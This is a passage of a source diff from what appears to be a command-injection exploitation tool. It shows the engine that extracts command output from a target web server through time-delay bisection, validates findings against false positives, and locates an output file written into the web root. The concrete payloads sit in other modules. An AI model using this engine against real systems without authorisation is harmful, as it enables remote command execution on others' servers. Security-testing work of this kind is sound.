= timesec + while True: + try: + validated = _validate_char_boundary(ascii_char) + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + continue + if validated: + break + if not from_full_range: + # Re-search the full range before treating a narrowed-set miss as timing noise. + ascii_char, from_full_range = _bisect_chars(force_full=True) + if ascii_char is None: + conn_error_flag = True + break + continue + was_jittery = settings.JITTER_SEEN + settings.JITTER_SEEN = True + settings.ADJUST_TIME_DELAY_DISABLED = True + max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) + if revalidations >= max_revalidations: + conn_error_flag = True + # Put back unconditionally: the delay was raised for this character, and leaving it + # raised because another character raised it too is how one bad position sets the + # pace for everything after it. + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = original_timesec + break + revalidations += 1 + settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) + if settings.ADJUST_TIME_DELAY_CHOICE is not False: + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) + new_timesec = timesec + warn_msg = "Increasing time delay to " + str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + ascii_char, from_full_range = _bisect_chars(force_full=True) + if ascii_char is None: + conn_error_flag = True + break + _note_validation_result(revalidations > 0) + + if ascii_char is not None: + with observed_chars_lock: + observed_chars.add(ascii_char) + observed_count[0] += 1 + char_frequency[ascii_char] = char_frequency.get(ascii_char, 0) + 1 + + return ascii_char, conn_error_flag + + # Resolve the character at one position, on whichever shell the run is speaking. + def _extract_position(num_of_chars): + nonlocal timesec + # Chosen by how long the output is, which is what the pool is picked on - not by which of its + # characters is being read, which is what this position is. Asked with the position, the first + # character of every output was read against the single-character pool, and that one leaves + # out the tab and the newline: an output beginning with either could not be resolved at all, + # after every escalation the position is allowed had been spent on it. + char_pool = checks.generate_char_pool(output_length) + + if interpreter: + # Alternative shells are still experimental. + target = cmd if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else OUTPUT_TEXTFILE + + # Whether the target waits, asked through an interpreter of its own. + def _delayed(candidate, operator, local_timesec): + payload = payloads.get_char_alter_interpreter(separator, target, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + return checks.time_related_shell(exec_time, local_timesec) + + # The halving itself, over the ordinals the character can still be. + def _bisect(local_timesec): + return resolved_ordinal(lambda candidate: _delayed(candidate, "-le", local_timesec), + char_pool, expands=checks.char_pool_expands()) + + # Whether an ordinal is the answer: it must hold, and the next one up must not. + # + # The halving asks whether the byte is at least some ordinal, so one above everything the + # pool holds answers yes to all of them and the search climbs to the pool's own last + # character. Nothing above it is ever asked about, so that answer would be taken for the + # byte's own - which is why the top of the pool is the one candidate checked from above as + # well, in the range a byte can still be rather than only the range the pool covers. + def _boundary_holds(candidate, local_timesec): + if not _delayed(candidate, "-le", local_timesec): + return False + if candidate + 1 <= settings.HIGHEST_BYTE and _delayed(candidate + 1, "-le", local_timesec): + return False + return True + + # Ask again where the target's timing has been unsteady, and take the majority answer. + def _validate(candidate, local_timesec): + if settings.JITTER_SEEN: + votes = [_boundary_holds(candidate, local_timesec) for _ in range(3)] + holds = votes.count(True) >= 2 + else: + holds = _boundary_holds(candidate, local_timesec) and _boundary_holds(candidate, local_timesec) + return holds and _delayed(candidate, "-eq", local_timesec) + + revalidations = 0 + original_timesec = timesec + candidate = _bisect(timesec) + while True: + try: + validated = candidate is not None and _validate(candidate, timesec) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + continue + if validated: + return num_of_chars, candidate, False + was_jittery = settings.JITTER_SEEN + settings.JITTER_SEEN = True + settings.ADJUST_TIME_DELAY_DISABLED = True + max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) + if revalidations >= max_revalidations: + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = original_timesec + return num_of_chars, None, True + revalidations += 1 + settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) + if settings.ADJUST_TIME_DELAY_CHOICE is not False: + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) + candidate = _bisect(timesec) + + # One bisection per position - the corruption check below catches systematic bias instead. + ascii_char, conn_error_flag = _bisect_once(num_of_chars, char_pool) + return num_of_chars, ascii_char, conn_error_flag + + positions = list(range(1, int(num_of_chars))) + _load_partial_progress() + positions_to_extract = [pos for pos in positions if pos not in results_by_position] + conn_error_positions = set() + # Asked once already in do_time_related_process(), before this ever runs. + threaded = retrieval_concurrency() > 1 + if not threaded: + remaining = positions_to_extract + while remaining: + try: + for pos in remaining: + _, ascii_char, conn_error_flag = _extract_position(pos) + if ascii_char is None: + failed_positions.add(pos) + results_by_position[pos] = UNRESOLVED_POSITION if ascii_char is None else ascii_char + if conn_error_flag: + conn_error_positions.add(pos) + _print_progress() + remaining = [] + except SystemExit: + _save_progress() + raise + except KeyboardInterrupt: + # Defensive fallback - should already be absorbed inside _bisect_once()/_bisect_chars(). + _save_progress() + checks.handle_exploitation_interrupt(filename, url) + remaining = [pos for pos in positions_to_extract if results_by_position.get(pos) is None] + else: + # Extract positions concurrently - never more workers than positions to fill. + remaining = positions_to_extract + while remaining: + num_workers = min(settings.THREADS, len(remaining)) or 1 + executor = concurrent.futures.ThreadPoolExecutor(max_workers=num_workers) + try: + futures = {executor.submit(_extract_position, pos): pos for pos in remaining} + for future in concurrent.futures.as_completed(futures): + pos, ascii_char, conn_error_flag = future.result() + if ascii_char is None: + failed_positions.add(pos) + results_by_position[pos] = UNRESOLVED_POSITION if ascii_char is None else ascii_char + if conn_error_flag: + conn_error_positions.add(pos) + _print_progress() + except SystemExit as exc: + _save_progress() + _abort_executor(executor, exc) + except KeyboardInterrupt: + # wait=True lets in-flight workers finish, so nothing races the retry below. + executor.shutdown(wait=True, cancel_futures=True) + _save_progress() + checks.handle_exploitation_interrupt(filename, url) + remaining = [pos for pos in positions_to_extract if results_by_position.get(pos) is None] + else: + executor.shutdown(wait=True) + remaining = [] + + # A position that returned no delay is usually a transient miss - a lagging response, or one + # worker's request read as another's - so each one is asked again, alone, whether or not the + # first pass was threaded. Every position failing is a systematic failure instead, and asking + # the same oracle twice would only spend the requests again. + if failed_positions and len(failed_positions) < len(positions): + retry_positions = sorted(failed_positions) + info_msg = "Re-attempting " + str(len(retry_positions)) + " character" + info_msg += "s"[len(retry_positions) == 1:] + " that returned no delay." + settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_info_msg(info_msg)) + for pos in retry_positions: + try: + _, ascii_char, conn_error_flag = _extract_position(pos) + except SystemExit: + _save_progress() + raise + except KeyboardInterrupt: + _save_progress() + checks.handle_exploitation_interrupt(filename, url) + break + if ascii_char is None: + continue + failed_positions.discard(pos) + conn_error_positions.discard(pos) + results_by_position[pos] = ascii_char + _print_progress() + + # Assemble in position order. A position that stayed unresolved is marked rather than dropped: + # a silently shorter output is indistinguishable from a real value. + for pos in positions: + ascii_char = results_by_position.get(pos) + if ascii_char == UNRESOLVED_POSITION: + output.append(settings.UNRESOLVED_CHAR) + elif ascii_char is not None: + output.append(chr(ascii_char)) + + boundary_char = chr(max(settings.CHAR_POOL_MULTI)) + # One of them is a character the output is entitled to - a backup name, a home path. What this + # looks for is an oracle agreeing to everything, which resolves most of the positions to it, and + # resolving every one of them the control above already refuses outright. + if output.count(boundary_char) > max(1, len(output) // 2) or conn_error_positions or lagging_detected: + if threaded: + warn_msg = "Concurrent (threaded) requests overloading the target may have corrupted the extracted data. Consider re-running with '--threads=1' to confirm it." + else: + warn_msg = "Connection instability with the target may have corrupted the extracted data. Consider re-running to confirm it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if failed_positions: + settings.INCOMPLETE_OUTPUT = True + warn_msg = str(len(failed_positions)) + " of " + str(len(positions)) + " character" + warn_msg += "s"[len(positions) == 1:] + " could not be extracted (no delay was ever observed for " + warn_msg += ("them" if len(failed_positions) != 1 else "it") + ", on a second attempt either) - " + warn_msg += ("they are" if len(failed_positions) != 1 else "it is") + " marked '" + warn_msg += settings.UNRESOLVED_CHAR + "' in the retrieved output below." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + check_end = time.time() + check_exec_time = int(check_end - check_start) + output = checks.decoded_byte_output("".join(str(p) for p in output)) + + # Check for empty output. + if output == (len(output) * settings.SINGLE_WHITESPACE): + output = "" + + else: + check_start = 0 + check_exec_time = 0 + output = "" + + return check_exec_time, output + +""" +The main results-based command injection exploitation. +""" +def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique): + + # Send one payload and hand back what the target answered. + def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique): + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.techniques.results_based import rb_payloads as payloads + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.eval.payloads import classic as payloads + else: + payloads = checks.file_based_payloads() + + if interpreter: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + payload = payloads.cmd_execution_alter_interpreter(separator, TAG, cmd) + else: + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE) + else: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + payload = payloads.cmd_execution(separator, TAG, cmd) + else: + payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) + if settings.VERBOSITY_LEVEL != 0: + shown_cmd = cmd + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + payload_msg = payload + if settings.COMMENT in payload_msg: + payload = payload.split(settings.COMMENT)[0].strip() + payload_msg = payload_msg.split(settings.COMMENT)[0].strip() + if settings.COMMENT in cmd: + shown_cmd = cmd.split(settings.COMMENT)[0].strip() + # The trace of what is actually being run, which for an internal command is the only word of + # it - but a command the user asked for on the command line has just been named already. The + # technique is named with the first of them because it need not be the one the command is + # being run for: a file-based technique is set up by asking the target where to write, and + # that question goes out through the results-based one where this target answered it, which + # is the whole of why that one alone is called usable. Said once and not again: what it + # explains holds for every internal command after it, and repeating it says nothing new. + if shown_cmd != menu.options.os_cmd: + debug_msg = "Executing the '" + shown_cmd + "' command" + if not settings.TECHNIQUE_NAMED_IN_TRACE: + settings.TECHNIQUE_NAMED_IN_TRACE = True + usable = "usable " if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED else "" + debug_msg += " through the " + usable + technique + debug_msg += "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + return response + + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + tries = 0 + # A request that keeps failing outright is not the file-based technique's boundary budget, so + # it does not wait on '--failed-tries' being settled to know how many times to try again. + max_tries = int(menu.options.failed_tries or settings.MAX_RETRIES) / 2 + while not response: + if tries < max_tries: + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + tries = tries + 1 + else: + err_msg = "Something went wrong. The request has failed (" + str(tries) + ") times in a row." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + return response + + +""" +False-positive check and evaluation. +""" +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False, show_dots=None): + + payloads = execution.select_payloads_module(technique) + + # silent=True skips the detection-phase chatter for a resume re-verify. + if not silent: + checks.check_for_false_positive_result(false_positive_warning) + + # Whether to print one '.' per request below - tied to 'silent' unless the caller asks for the + # dots on their own, the way a caller with its own "please wait..." line does: its own progress, + # not the per-technique chatter 'silent' is there to drop. + if show_dots is None: + show_dots = not silent + + # Varying the sleep time. + if false_positive_warning: + timesec = timesec + random.randint(3, 5) + + # Verify the oracle with known logical properties; any failed relationship invalidates the round. + if not interpreter: + a, c, b = sorted(random.sample(range(1, 50), 3)) + # End on a must-delay check; the caller re-validates the final exec_time. + # Only when boolean-based never already proved the point - just in case the backend hasn't + # properly recovered from an earlier delayed request; boolean-based ran no such delay, so a + # confirmation resting on it alone has nothing to let settle. + settle = not settings.BOOLEAN_BASED_STATE + if settings.TARGET_OS == settings.OS.WINDOWS: + litmus_checks = [ + (payloads.windows_condition_check(separator, str(a) + "-" + str(a), 0, timesec), True), + ] + if settle: + litmus_checks.append((payloads.windows_condition_check(separator, str(a) + "-" + str(c), 0, timesec), None)) # discarded - lets the backend settle after any earlier delay + litmus_checks += [ + (payloads.windows_condition_check(separator, str(a) + "-" + str(b), 0, timesec), False), + (payloads.windows_condition_check(separator, str(b) + "-" + str(c), 0, timesec), False), + (payloads.windows_condition_check(separator, "1-1", 999999, timesec), False), # deliberate mismatch + (payloads.windows_condition_check(separator, str(c) + "-" + str(c), 0, timesec), True), + ] + else: + litmus_checks = [ + (payloads.condition_check(separator, str(a) + " -eq " + str(a), timesec, http_request_method), True), + ] + if settle: + litmus_checks.append((payloads.condition_check(separator, str(a) + " -eq " + str(c), timesec, http_request_method), None)) # discarded - lets the backend settle after any earlier delay + litmus_checks += [ + (payloads.condition_check(separator, str(a) + " -eq " + str(b), timesec, http_request_method), False), + (payloads.condition_check(separator, str(b) + " -eq " + str(c), timesec, http_request_method), False), + ] + """ + An expression the shell cannot evaluate is a control only where the gating skips on error. + + A malformed '[' exits 2, and these separators reach their delay through '||', which runs on + any non-zero status - so the control would delay by construction, and condemn as a false + positive every point it was meant to confirm. + """ + if separator not in (settings.PIPE_SEPARATOR, "||"): + litmus_checks.append((payloads.condition_check(separator, str(b) + settings.SINGLE_WHITESPACE + str(c), timesec, http_request_method), False)) # not a valid test expression + # Ends on a must-delay check; the caller re-validates the final exec_time. + litmus_checks.append((payloads.condition_check(separator, str(c) + " -eq " + str(c), timesec, http_request_method), True)) + verified = True + for payload, expect in litmus_checks: + if payload is None: + verified = False + break + if show_dots and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + before = stability.requests_sent() + exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if stability.request_was_retried(before): + verified = False + break + delayed = checks.time_related_shell(exec_time, timesec) + if not delayed: + checks.record_probe_response_time(exec_time) + if expect is not None and delayed != expect: + verified = False + break + + if verified: + if not silent and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + return exec_time, str(randvcalc) + else: + if not silent: + checks.unexploitable_point(retry_attempt, retry_total) + return exec_time, "" + + # Only the interpreter path reaches here - the check above answers for every other one, and its + # oracle is an exact match rather than the logical relationships used there. + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter) + + output_length = 1 + if show_dots and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + # Ask again, and only believe a finding that answers the same way every time. + def _retry_confirm(payload): + nonlocal exec_time, vuln_parameter, prefix, suffix + consecutive_hits = 0 + for attempt in range(settings.FALSE_POSITIVE_RETRIES): + before = stability.requests_sent() + exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if stability.request_was_retried(before): + continue + if checks.time_related_shell(exec_time, timesec): + consecutive_hits += 1 + # Let the backend's own cooldown pass before trusting the next timing read. + time.sleep(timesec) + if consecutive_hits >= 2: + return True + else: + consecutive_hits = 0 + checks.record_probe_response_time(exec_time) + return False + + found_chars = _retry_confirm(payload) + + if found_chars: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = previous_cmd + + output = [] + # The verified value is in 1-7 (see handler.py's randv1/randv2 ranges), or a single digit under '--skip-calc'. + for ascii_char in (range(0, 10) if settings.SKIP_CALC else range(1, 8)): + if show_dots and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result_alter_interpreter(separator, cmd, 1, ascii_char, timesec, http_request_method) + else: + payload = payloads.fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, 1, ascii_char, timesec, http_request_method) + if _retry_confirm(payload): + output.append(ascii_char) + break + + output = "".join(str(p) for p in output) + + if str(output) == str(randvcalc): + if not silent and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + return exec_time, output + else: + if not silent: + checks.unexploitable_point(retry_attempt, retry_total) + return exec_time, "" + + else: + if not silent: + checks.unexploitable_point(retry_attempt, retry_total) + return exec_time, "" + +""" +Get the command output filename, skipping the prompt when resuming. +""" +def select_output_filename(technique, tmp_path, TAG, prompt=True): + # Ensure tmp_path is safe to concatenate. + tmp_path = checks.normalize_target_dir(tmp_path) + + # If a custom filename is already set, handle tmp_path prefix depending on technique + if settings.CUSTOM_FILENAME: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if not settings.CUSTOM_FILENAME.startswith(tmp_path): + settings.CUSTOM_FILENAME = tmp_path + settings.CUSTOM_FILENAME + else: + # Remove tmp_path prefix if present but technique is different + if settings.CUSTOM_FILENAME.startswith(tmp_path): + settings.CUSTOM_FILENAME = settings.CUSTOM_FILENAME[len(tmp_path):] + return settings.CUSTOM_FILENAME + + # Generate default filename + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + + while prompt: + message = "Do you want to use a random file ('" + OUTPUT_TEXTFILE + message += "') to receive the execution output? [Y/n] " + procced_option = common.read_input(message, default="Y", check_batch=True) + + if procced_option in settings.CHOICE_YES: + break + + elif procced_option in settings.CHOICE_NO: + message = "Enter a filename to receive the execution output " + message = common.read_input(message, default=OUTPUT_TEXTFILE, check_batch=True) + + OUTPUT_TEXTFILE = message + info_msg = "Using '" + OUTPUT_TEXTFILE + "' for execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + break + + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + + else: + common.invalid_option(procced_option) + + # Prepend tmp_path if needed + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + OUTPUT_TEXTFILE = tmp_path + OUTPUT_TEXTFILE + + settings.CUSTOM_FILENAME = OUTPUT_TEXTFILE + return OUTPUT_TEXTFILE + +""" +Find the URL directory. +""" +def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + + # The document root the target's own URL implies, where none was given. + def custom_web_root(url, OUTPUT_TEXTFILE): + path = _urllib.parse.urlparse(url).path + if path.endswith('/'): + # Contract again the url. + scheme = _urllib.parse.urlparse(url).scheme + netloc = _urllib.parse.urlparse(url).netloc + output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE + else: + try: + path_parts = [non_empty for non_empty in path.split('/') if non_empty] + count = 0 + for part in path_parts: + count = count + 1 + count = count - 1 + last_param = path_parts[count] + output = url.replace(last_param, OUTPUT_TEXTFILE) + if "?" in output and settings.OUTPUT_FILE_EXT in output: + try: + output = output.split("?")[0] + except (Exception, SystemExit): + pass + except IndexError: + output = url + "/" + OUTPUT_TEXTFILE + settings.DEFINED_WEBROOT = output + return output + + if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS or not settings.RECHECK_FILE_FOR_EXTRACTION: + if menu.options.web_root: + scheme = _urllib.parse.urlparse(url).scheme + netloc = _urllib.parse.urlparse(url).netloc + output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE + if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): + if settings.MULTI_TARGETS: + settings.RECHECK_FILE_FOR_EXTRACTION = True + refusals = 0 + while True: + message = "Do you want to use the URL '" + output + message += "' to receive the execution output? [Y/n] " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.DEFINED_WEBROOT = output + break + elif procced_option in settings.CHOICE_NO: + message = "Enter URL to receive " + message += "the execution output " + message = common.read_input(message, default=output, check_batch=True) + # A path on the target answers the question as well as the whole URL does, and is what + # a sink serving the file through a script is most naturally named by. + if message.startswith("/"): + target = _urllib.parse.urlparse(url) + message = target.scheme + "://" + target.netloc + message + if not re.search(r'^(?:http)s?://', message, re.I): + common.invalid_option(message) + # An answer that cannot change is an answer that cannot be asked for again: a run + # that is not being watched, or one answering from '--answers', would otherwise be + # put the same question for as long as it is left alone. + refusals += 1 + if refusals >= settings.MAX_INVALID_URL_ANSWERS: + err_msg = "The URL to receive the execution output must start with 'http://' or " + err_msg += "'https://', and '" + str(message) + "' does not." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + else: + output = settings.DEFINED_WEBROOT = message + info_msg = "Using '" + output + info_msg += "' for execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.RECHECK_FILE_FOR_EXTRACTION = True + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + else: + output = custom_web_root(url, OUTPUT_TEXTFILE) + else: + output = settings.DEFINED_WEBROOT + + # Announced once: the same URL is requested again for every separator tried. + if settings.VERBOSITY_LEVEL != 0 and output != settings.LAST_ANNOUNCED_OUTPUT_FILE: + settings.LAST_ANNOUNCED_OUTPUT_FILE = output + debug_msg = "Expecting the command execution output at '" + output + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + return output + +""" +Every URL the written file could be reachable at, the one already settled on first. + +A web root says where the file lands on disk, not where that is on the site - the directories +between the document root and it are not in it to be read. Rather than guess which of them the +document root ends at, each is tried in turn, starting with the shallowest. +""" +def output_file_candidates(output, url, OUTPUT_TEXTFILE): + candidates = [output] + if menu.options.web_root: + parsed = _urllib.parse.urlparse(url) + parts = [part for part in menu.options.web_root.replace("\\", "/").split("/") if part] + for depth in range(1, len(parts) + 1): + candidate = parsed.scheme + "://" + parsed.netloc + "/" + "/".join(parts[-depth:]) + "/" + OUTPUT_TEXTFILE + if candidate not in candidates: + candidates.append(candidate) + return candidates + +""" +The response holding the written file, from whichever URL it turns out to be reachable at. +""" +def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique): + output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + for candidate in output_file_candidates(output, url, OUTPUT_TEXTFILE): + try: + response = checks.get_response(candidate) + except (_urllib.error.HTTPError, _urllib.error.URLError): + continue + if type(response) is bool or response is None: + continue + if candidate != output: + # Settled here, so the rest of the run asks for the one that answered rather than trying again. + settings.DEFINED_WEBROOT = candidate + info_msg = "Reading the execution output from '" + candidate + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return response + # The command may well have run and written its output - what could not be done is read it back, + # which is a different thing to say than that nothing came of the command. + warn_msg = "The execution output could not be read at '" + output + "'. " + warn_msg += "The file is written where '--web-root' says, so what is needed is the URL that serves it." + settings.print_once(warn_msg) + return None + +""" +The output file's contents, read the way the command's own output is read - so that what the file +held before a command can be told from what it holds after one. + +Only the newlines it ends with come off. A substitution drops those and stops at the first byte +that is not one, which is what the techniques reading their answer off the page hand back, so this +hands back the same. Stripped at both ends instead, a command whose output was indented, or padded, +or was whitespace altogether came back without the part of it that said so: an output of a tab, +three spaces, 'X' and seven more tabs arrived as 'X'. A carriage return taken off with them is the +same mistake one byte smaller - an output ending 'a\r\nb\r\n' came back as 'a\r\nb', where a +substitution hands back the carriage return that break left behind. A Windows target's own are +dropped below, where they are the target's and not the command's. +""" +def output_file_content(response): + content = checks.process_page_content(response, action="encode") + content = content.rstrip(settings.END_LINE.LF) + # The bytes the file's own encoding could not read, back as the bytes the target wrote. + content = checks.decoded_byte_output(checks.restored_unreadable_bytes(content)) + if settings.TARGET_OS == settings.OS.WINDOWS: + content = content.replace(settings.END_LINE.CR, "") + return content + +""" +What the target says about the output file itself, which is how a read can tell that the write +landed. + +An entity tag changes whenever the file does - its size and the moment it was last written are what +it is made of - and a last-modified date says the same thing a second at a time. Both are the +target's own account of the file, so neither depends on this machine's clock agreeing with the +target's. +""" +def output_file_validator(response): + try: + served = response.info() + except Exception: + return None + validator = served.get("ETag") or served.get("Last-Modified") + if not validator: + return None + validator = validator.strip() + # A weak tag is the same tag, marked as one the target will not compare byte for byte itself. + return validator[2:] if validator.startswith("W/") else validator + +""" +Whether what came back is this command's output rather than what the file held before it. + +A command the target never ran - a request it refused, a payload its shell would not parse - leaves +the file exactly as it was, and reading it then answers with whatever wrote it last: the marker the +detection phase put there, or the output of the command before this one. Handed back as this +command's own, that is a wrong answer rather than a missing one, which is the worse of the two. + +Both the contents and the file's own validator have to be what they were for the write to be called +missing. A command run twice writes the file again, so the validator moves even where the output it +wrote is identical - and where the target serves no validator at all, nothing is withheld. +""" +def output_file_is_stale(content, validator, previous_content, previous_validator): + return (validator is not None and previous_validator is not None and + validator == previous_validator and content == previous_content) + +""" +What the output file holds before any command has been run through it, remembered so that a command +the target never runs cannot have it answered back as its own output. +""" +def remember_output_file(response): + if response is None or type(response) is bool: + return + settings.LAST_OUTPUT_FILE_CONTENT = output_file_content(response) + settings.LAST_OUTPUT_FILE_VALIDATOR = output_file_validator(response) + +""" +Evaluate test results. +""" +def injection_test_results(response, TAG, randvcalc, technique, payload=None): + if type(response) is bool and response is not True or response is None: + return False + + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: + try: + import html + unescape = html.unescape + except ImportError: # Python 2 + unescape = _html_parser.HTMLParser().unescape + # Check the execution results + html_data = checks.process_page_content(response, action="decode", guard=TAG) + html_data = html_data.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) + # cleanup string / unescape html to string + html_data = _urllib.parse.unquote(html_data) + html_data = unescape(html_data) + html_data = checks.remove_reflected_values(html_data, payload) + if settings.SKIP_CALC: + shell = re.findall(r"" + TAG + TAG + TAG, html_data) + else: + shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) + if len(shell) > 1: + shell = shell[0] + else: + html_data = checks.process_page_content(response, action="decode", guard=TAG) + # A Windows target ends its lines with CRLF, so every line break counts as the one whitespace + # the markers are looked up with. + html_data = re.sub(r"[" + settings.END_LINE.CR + settings.END_LINE.LF + r"]+", settings.SINGLE_WHITESPACE, html_data) + html_data = checks.remove_reflected_values(html_data, payload) + if settings.SKIP_CALC: + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) + else: + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) + + return shell + +""" +Command execution results. +""" +def resolved_length(asks, minlen, confirmed=None, sanity=None): + """ + How long the output is, found by growing a bracket until a length the output does not reach and + then halving it back - with 'asks' answering whether the output is at least the length it is given. + + Nothing caps the growing but implausibility. Capped at what the run was willing to read instead, + the search had an upper bound nothing had answered for: an output exactly that long settled one + character short of itself, and one longer settled there too rather than being known to be longer. + What a run is willing to read is a limit on the reading, and is applied to that. + + >>> [resolved_length(lambda _, n=n: _ <= n, 1) for n in (1, 3, 8, 100, 10000)] + [1, 3, 8, 100, 10000] + >>> resolved_length(lambda _: False, 1) is None + True + >>> resolved_length(lambda _: True, 1, sanity=64) is None + True + """ + confirmed = confirmed or asks + sanity = int(sanity or settings.MAX_INFERRED_LENGTH) + lo, hi = int(minlen) - 1, None + candidate = max(1, int(minlen)) + while candidate <= sanity: + if not confirmed(candidate): + hi = candidate + break + lo = candidate + candidate = candidate * settings.LENGTH_SEARCH_BASE + """ + An answer of yes all the way up is not a very long output, it is an oracle agreeing with whatever + it is asked - so it is disbelieved rather than reported, the way a length past what could be read + is handed back as nothing at all instead of as the bound it ran into. + """ + if hi is None: + return None + while hi - lo > 1: + mid = (lo + hi) // 2 + if confirmed(mid): + lo = mid + else: + hi = mid + return lo if lo >= int(minlen) else None + +def resolved_ordinal(asks, char_pool, expands=True): + """ + The ordinal of one byte, found by halving the range it can be in - with 'asks' answering whether + the byte is at least the ordinal it is given. + + The halving is never asked about its own upper bound, so a byte that reaches the pool's last + character settles one below it, and so does a byte that carries on past the pool. That character + is asked about on its own, and where it holds and the pool is commix's own, the rest of the range + a byte can be is halved as well. + + >>> pool = [9, 10] + list(range(32, 127)) + >>> [resolved_ordinal(lambda _, b=b: _ <= b, pool) for b in (120, 125, 126, 127, 169, 195, 255)] + [120, 125, 126, 127, 169, 195, 255] + >>> resolved_ordinal(lambda _: _ <= 195, pool, expands=False) + 126 + >>> resolved_ordinal(lambda _: False, pool) is None + True + """ + def _halve(lo, hi): + while hi - lo 